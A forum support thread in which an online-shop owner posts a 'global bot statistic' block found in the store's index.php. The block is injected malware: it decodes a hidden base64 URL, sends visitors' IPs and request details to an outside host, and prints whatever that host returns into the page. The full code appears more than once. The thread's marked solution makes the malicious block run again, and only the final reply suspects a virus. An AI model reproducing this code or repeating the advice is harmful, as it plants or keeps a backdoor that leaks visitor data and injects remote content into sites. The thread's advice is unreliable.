Page 1 of 1

global bot stat in index.php = error & no checkout

Posted: Fri Feb 22, 2013 6:03 am
by Vectra
v1.5.2.1
I get the same error as mayosdream did:
PHP Notice: Uninitialized string offset: 0 in /home/vectra5/public_html/store/index.php on line 261

The site works in Chrome (pc & tablet), but does not work in IE 8&9 or FireFox 18&19. The error shows itself in checkout starting at guest checkout, which you can click through, but stops you on address checkout page.
After looking at the error log, I found that just opening the main home page in IE would pop the same error log.
I temporarily changed to full default theme, but had same error problem (my custom theme is just a bit modified from default).
Well, I commented out the offending part of the index file as seen below (line 261 is the lower "if" statement line):

Code: Select all

    // This code use for global bot statistic
 //   $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
 //   $stCurlHandle = NULL;
 //   $stCurlLink = "";
 //   if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
   // {
//        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
  //      $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
//            @$stCurlHandle = curl_init( $stCurlLink ); 
//    }
//    } 
// if ( $stCurlHandle !== NULL )
// {
//    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
//    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
//    $sResult = @curl_exec($stCurlHandle); 
//    if ($sResult[0]=="O") 
//     {$sResult[0]=" ";
//      echo $sResult; // Statistic code end
//      }
//    curl_close($stCurlHandle); 
//}
The site works now with no error codes with chrome, FF, and IE, and people can checkout.
What should I do about the above code that is commented?
Thank you,

Re: global bot stat in index.php causes error & no checkout

Posted: Fri Feb 22, 2013 9:30 am
by JAY6390
Try removing the two

Code: Select all

[0]
and see if that fixes it

Re: global bot stat in index.php causes error & no checkout

Posted: Fri Feb 22, 2013 10:05 am
by Vectra
Thank you. I uncommented the block and removed the two [0] near the bottom. The site now works on Chrome, FF, IE 8 & 9. There is nothing in the error log and checkout works.
Thank you again.

Re: [solved] global bot stat in index.php = error & no check

Posted: Wed Feb 27, 2013 3:46 am
by Vectra
Our index.php file inexplicably changed back with the [0]s this morning (about 3am Pacific time), evidenced by people getting the same line 261 error. Here is line 261 and 262 as it changed back:

Code: Select all

if ($sResult[0]=="O") 
     {$sResult[0]=" ";
I took out the two [0], and it is working again now.
Is there some automatic updating of the Index.php file? I may have to comment out this whole block of global bot statistics code again to keep this from recurring.
Thank you.

Re: [solved] global bot stat in index.php = error & no check

Posted: Wed Feb 27, 2013 3:49 am
by JAY6390
No there's no auto regenerate for the index.php. I would recommend contacting your host in case they've done a revert on the file for some reason

Re: [solved] global bot stat in index.php = error & no check

Posted: Wed Feb 27, 2013 4:46 am
by Vectra
I thank you for the super quick reply. I will keep an eye on it and if it happens again (especially if exactly 1 week later), I will look to our host.
Thank you.

Re: [solved] global bot stat in index.php = error & no check

Posted: Fri Mar 29, 2013 3:57 am
by Vectra
These two instances of "[0]" keep coming back after a random period of time more than a week. I will start trying to log when it happens. I got a reply from my web host that they do not alter this file "We do not modify any of your files and would only make any changes if you asked us to.".
I may have to go back to commenting out this whole block of global bot stat code like in the original post.
I know I am not the only one because I found Mayosdream post about it from a few months ago.
Thank you.

Re: global bot stat in index.php = error & no checkout

Posted: Tue May 07, 2013 3:22 am
by Vectra
I commented out the global bot block of code like the original post. Last Friday afternoon, the index.php file was somehow updated. The commented lines were left alone. The whole global bot block was added/inserted above it with the offending "[0]". See below.
I am looking into making the index.php file read only. Another idea is to set up an automated replace of the index.php file every day with the correct one (I would still have some hours where people could not check out though, and I don't know how to do this). I already check the index.php file almost every day, but I invariably am at least a 1/2 day late in fixing it (when I get customer complaints).
Here are a few times of the index.php file being written over:
Friday, May 3, 1:30pm Pacific
Wednesday, April 23, 8pm
Thursday, April 18, 11pm

Code: Select all

?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
//    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
//    $stCurlHandle = NULL;
//    $stCurlLink = "";
//    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
//    {
//        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
//        $stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
//            @$stCurlHandle = curl_init( $stCurlLink ); 
//    }
//    } 
//if ( $stCurlHandle !== NULL )
//{
//    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
//    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
//    $sResult = @curl_exec($stCurlHandle); 
//    if ($sResult=="O") 
//     {$sResult=" ";
//      echo $sResult; // Statistic code end
//      }
//    curl_close($stCurlHandle); 
//}

Re: global bot stat in index.php = error & no checkout

Posted: Fri May 10, 2013 5:30 pm
by zole
I think you got a virus, I have the same problem for some time...
I deleted entire site and installed new version of open cart but after few weeks it strikes me again.
Tray to look on free site scanner to verify if you got one.
I found one solution on the net but it not worked for me.
http://www.duzgun.com/opencart-soru-cev ... -4118.html
Try it maybe you're lucky.